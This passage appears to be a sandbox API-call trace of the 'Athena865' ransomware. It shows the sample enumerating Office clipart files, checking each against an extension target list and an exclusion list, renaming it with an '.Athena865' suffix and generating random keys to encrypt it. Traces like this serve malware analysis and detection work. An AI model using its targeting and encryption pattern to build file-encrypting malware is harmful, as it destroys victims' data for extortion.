0x52b340 [0132.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0132.878] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b340 | out: hHeap=0x4f0000) returned 1 [0132.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0132.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0132.878] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0132.878] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0132.878] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0132.879] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0132.879] CloseHandle (hObject=0x154) returned 1 [0132.879] CloseHandle (hObject=0x17c) returned 1 [0132.879] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0132.879] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0132.879] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0132.879] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30066900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30066900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x26b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00559_.WMF", cAlternateFileName="")) returned 1 [0132.879] lstrcmpiW (lpString1="PE00559_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0132.879] lstrcmpiW (lpString1="PE00559_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0132.879] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE00559_.WMF" | out: lpString1="PE00559_.WMF") returned="PE00559_.WMF" [0132.879] lstrlenW (lpString="PE00559_.WMF") returned 12 [0132.879] lstrlenW (lpString="Athena865") returned 9 [0132.879] lstrcmpiW (lpString1="0559_.WMF", lpString2="Athena865") returned -1 [0132.879] lstrlenW (lpString=".dll") returned 4 [0132.879] lstrcmpiW (lpString1="PE00559_.WMF", lpString2=".dll") returned 1 [0132.879] lstrlenW (lpString=".lnk") returned 4 [0132.879] lstrcmpiW (lpString1="PE00559_.WMF", lpString2=".lnk") returned 1 [0132.880] lstrlenW (lpString=".ini") returned 4 [0132.880] lstrcmpiW (lpString1="PE00559_.WMF", lpString2=".ini") returned 1 [0132.880] lstrlenW (lpString=".sys") returned 4 [0132.880] lstrcmpiW (lpString1="PE00559_.WMF", lpString2=".sys") returned 1 [0132.880] lstrlenW (lpString="PE00559_.WMF") returned 12 [0132.880] lstrlenW (lpString="bak") returned 3 [0132.880] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0132.880] lstrlenW (lpString="ba_") returned 3 [0132.880] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0132.880] lstrlenW (lpString="dbb") returned 3 [0132.880] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0132.880] lstrlenW (lpString="vmdk") returned 4 [0132.880] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0132.880] lstrlenW (lpString="rar") returned 3 [0132.880] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0132.880] lstrlenW (lpString="zip") returned 3 [0132.880] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0132.880] lstrlenW (lpString="tgz") returned 3 [0132.880] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0132.880] lstrlenW (lpString="vbox") returned 4 [0132.880] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0132.880] lstrlenW (lpString="vdi") returned 3 [0132.880] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0132.880] lstrlenW (lpString="vhd") returned 3 [0132.880] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0132.880] lstrlenW (lpString="vhdx") returned 4 [0132.880] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0132.880] lstrlenW (lpString="avhd") returned 4 [0132.880] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0132.881] lstrlenW (lpString="db") returned 2 [0132.881] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0132.881] lstrlenW (lpString="db2") returned 3 [0132.881] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0132.881] lstrlenW (lpString="db3") returned 3 [0132.881] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0132.881] lstrlenW (lpString="dbf") returned 3 [0132.881] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0132.881] lstrlenW (lpString="mdf") returned 3 [0132.881] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0132.881] lstrlenW (lpString="mdb") returned 3 [0132.881] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0132.881] lstrlenW (lpString="sql") returned 3 [0132.881] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0132.881] lstrlenW (lpString="sqlite") returned 6 [0132.881] lstrcmpiW (lpString1="9_.WMF", lpString2="sqlite") returned -1 [0132.881] lstrlenW (lpString="sqlite3") returned 7 [0132.881] lstrcmpiW (lpString1="59_.WMF", lpString2="sqlite3") returned -1 [0132.881] lstrlenW (lpString="sqlitedb") returned 8 [0132.881] lstrcmpiW (lpString1="559_.WMF", lpString2="sqlitedb") returned -1 [0132.881] lstrlenW (lpString="xml") returned 3 [0132.881] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0132.881] lstrlenW (lpString="$er") returned 3 [0132.881] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0132.881] lstrlenW (lpString="4dd") returned 3 [0132.881] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0132.881] lstrlenW (lpString="4dl") returned 3 [0132.881] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0132.881] lstrlenW (lpString="^^^") returned 3 [0132.882] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0132.882] lstrlenW (lpString="abs") returned 3 [0132.882] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0132.882] lstrlenW (lpString="abx") returned 3 [0132.882] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0132.882] lstrlenW (lpString="accdb") returned 5 [0132.882] lstrcmpiW (lpString1="_.WMF", lpString2="accdb") returned -1 [0132.882] lstrlenW (lpString="accdc") returned 5 [0132.882] lstrcmpiW (lpString1="_.WMF", lpString2="accdc") returned -1 [0132.882] lstrlenW (lpString="accde") returned 5 [0132.882] lstrcmpiW (lpString1="_.WMF", lpString2="accde") returned -1 [0132.882] lstrlenW (lpString="accdr") returned 5 [0132.882] lstrcmpiW (lpString1="_.WMF", lpString2="accdr") returned -1 [0132.882] lstrlenW (lpString="accdt") returned 5 [0132.882] lstrcmpiW (lpString1="_.WMF", lpString2="accdt") returned -1 [0132.882] lstrlenW (lpString="accdw") returned 5 [0132.882] lstrcmpiW (lpString1="_.WMF", lpString2="accdw") returned -1 [0132.882] lstrlenW (lpString="accft") returned 5 [0132.882] lstrcmpiW (lpString1="_.WMF", lpString2="accft") returned -1 [0132.882] lstrlenW (lpString="adb") returned 3 [0132.882] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0132.882] lstrlenW (lpString="adb") returned 3 [0132.882] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0132.882] lstrlenW (lpString="ade") returned 3 [0132.882] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0132.882] lstrlenW (lpString="adf") returned 3 [0132.882] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0132.882] lstrlenW (lpString="adn") returned 3 [0132.882] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0132.883] lstrlenW (lpString="adp") returned 3 [0132.883] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0132.883] lstrlenW (lpString="alf") returned 3 [0132.883] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0132.883] lstrlenW (lpString="ask") returned 3 [0132.883] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0132.883] lstrlenW (lpString="btr") returned 3 [0132.883] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0132.883] lstrlenW (lpString="cat") returned 3 [0132.883] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0132.883] lstrlenW (lpString="cdb") returned 3 [0132.883] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0132.883] lstrlenW (lpString="ckp") returned 3 [0132.883] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0132.883] lstrlenW (lpString="cma") returned 3 [0132.883] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0132.883] lstrlenW (lpString="cpd") returned 3 [0132.883] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0132.883] lstrlenW (lpString="dacpac") returned 6 [0132.883] lstrcmpiW (lpString1="9_.WMF", lpString2="dacpac") returned -1 [0132.883] lstrlenW (lpString="dad") returned 3 [0132.883] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0132.883] lstrlenW (lpString="dadiagrams") returned 10 [0132.883] lstrcmpiW (lpString1="00559_.WMF", lpString2="dadiagrams") returned -1 [0132.883] lstrlenW (lpString="daschema") returned 8 [0132.883] lstrcmpiW (lpString1="559_.WMF", lpString2="daschema") returned -1 [0132.883] lstrlenW (lpString="db-journal") returned 10 [0132.884] lstrcmpiW (lpString1="00559_.WMF", lpString2="db-journal") returned -1 [0132.884] lstrlenW (lpString="db-shm") returned 6 [0132.884] lstrcmpiW (lpString1="9_.WMF", lpString2="db-shm") returned -1 [0132.884] lstrlenW (lpString="db-wal") returned 6 [0132.884] lstrcmpiW (lpString1="9_.WMF", lpString2="db-wal") returned -1 [0132.884] lstrlenW (lpString="dbc") returned 3 [0132.884] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0132.884] lstrlenW (lpString="dbs") returned 3 [0132.884] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0132.884] lstrlenW (lpString="dbt") returned 3 [0132.884] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0132.884] lstrlenW (lpString="dbv") returned 3 [0132.884] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0132.884] lstrlenW (lpString="dbx") returned 3 [0132.884] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0132.884] lstrlenW (lpString="dcb") returned 3 [0132.884] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0132.884] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF.Athena865") returned 73 [0132.884] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.885] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9904) returned 1 [0132.886] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0132.886] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0132.886] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0132.886] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.887] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.887] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.887] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x29b0, lpName=0x0) returned 0x154 [0132.888] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x29b0) returned 0x100000 [0132.889] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.890] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.890] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.890] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0132.890] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0132.890] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b340 [0132.890] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0132.890] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b340 | out: hHeap=0x4f0000) returned 1 [0132.890] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0132.890] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0132.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0132.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0132.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0132.891] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0132.891] CloseHandle (hObject=0x154) returned 1 [0132.891] CloseHandle (hObject=0x17c) returned 1 [0132.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0132.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0132.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0132.891] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17bf3a00, ftCreationTime.dwHighDateTime=0x1bd4b35, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bf3a00, ftLastWriteTime.dwHighDateTime=0x1bd4b35, nFileSizeHigh=0x0, nFileSizeLow=0x5670, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00563_.WMF", cAlternateFileName="")) returned 1 [0132.891] lstrcmpiW (lpString1="PE00563_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0132.891] lstrcmpiW (lpString1="PE00563_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0132.891] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE00563_.WMF" | out: lpString1="PE00563_.WMF") returned="PE00563_.WMF" [0132.892] lstrlenW (lpString="PE00563_.WMF") returned 12 [0132.892] lstrlenW (lpString="Athena865") returned 9 [0132.892] lstrcmpiW (lpString1="0563_.WMF", lpString2="Athena865") returned -1 [0132.892] lstrlenW (lpString=".dll") returned 4 [0132.892] lstrcmpiW (lpString1="PE00563_.WMF", lpString2=".dll") returned 1 [0132.892] lstrlenW (lpString=".lnk") returned 4 [0132.892] lstrcmpiW (lpString1="PE00563_.WMF", lpString2=".lnk") returned 1 [0132.892] lstrlenW (lpString=".ini") returned 4 [0132.892] lstrcmpiW (lpString1="PE00563_.WMF", lpString2=".ini") returned 1 [0132.892] lstrlenW (lpString=".sys") returned 4 [0132.892] lstrcmpiW (lpString1="PE00563_.WMF", lpString2=".sys") returned 1 [0132.892] lstrlenW (lpString="PE00563_.WMF") returned 12 [0132.892] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF.Athena865") returned 73 [0132.892] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.893] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=22128) returned 1 [0132.893] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0132.894] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0132.894] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0132.894] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.894] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.894] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.895] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5970, lpName=0x0) returned 0x154 [0132.896] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5970) returned 0x100000 [0132.898] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.899] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.899] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.899] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0132.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0132.899] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b340 [0132.899] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0132.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b340 | out: hHeap=0x4f0000) returned 1 [0132.899] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0132.899] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0132.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0132.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0132.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0132.900] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0132.900] CloseHandle (hObject=0x154) returned 1 [0132.900] CloseHandle (hObject=0x17c) returned 1 [0132.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0132.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0132.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0132.900] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ae6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00578_.WMF", cAlternateFileName="")) returned 1 [0132.900] lstrcmpiW (lpString1="PE00578_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0132.901] lstrcmpiW (lpString1="PE00578_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0132.901] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE00578_.WMF" | out: lpString1="PE00578_.WMF") returned="PE00578_.WMF" [0132.901] lstrlenW (lpString="PE00578_.WMF") returned 12 [0132.901] lstrlenW (lpString="Athena865") returned 9 [0132.901] lstrcmpiW (lpString1="0578_.WMF", lpString2="Athena865") returned -1 [0132.901] lstrlenW (lpString=".dll") returned 4 [0132.901] lstrcmpiW (lpString1="PE00578_.WMF", lpString2=".dll") returned 1 [0132.901] lstrlenW (lpString=".lnk") returned 4 [0132.901] lstrcmpiW (lpString1="PE00578_.WMF", lpString2=".lnk") returned 1 [0132.901] lstrlenW (lpString=".ini") returned 4 [0132.901] lstrcmpiW (lpString1="PE00578_.WMF", lpString2=".ini") returned 1 [0132.901] lstrlenW (lpString=".sys") returned 4 [0132.901] lstrcmpiW (lpString1="PE00578_.WMF", lpString2=".sys") returned 1 [0132.901] lstrlenW (lpString="PE00578_.WMF") returned 12 [0132.901] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF.Athena865") returned 73 [0132.901] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.902] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6886) returned 1 [0132.903] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0132.903] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0132.903] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0132.903] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.904] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.904] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.904] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1df0, lpName=0x0) returned 0x154 [0132.905] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1df0) returned 0x100000 [0132.906] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.907] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.907] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.907] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0132.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0132.907] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b340 [0132.907] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0132.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b340 | out: hHeap=0x4f0000) returned 1 [0132.907] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0132.907] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0132.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0132.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0132.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0132.908] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0132.908] CloseHandle (hObject=0x154) returned 1 [0132.908] CloseHandle (hObject=0x17c) returned 1 [0132.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0132.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0132.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0132.908] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x896e9800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x896e9800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00608_.WMF", cAlternateFileName="")) returned 1 [0132.908] lstrcmpiW (lpString1="PE00608_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0132.908] lstrcmpiW (lpString1="PE00608_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0132.908] lstrcpyW (in: 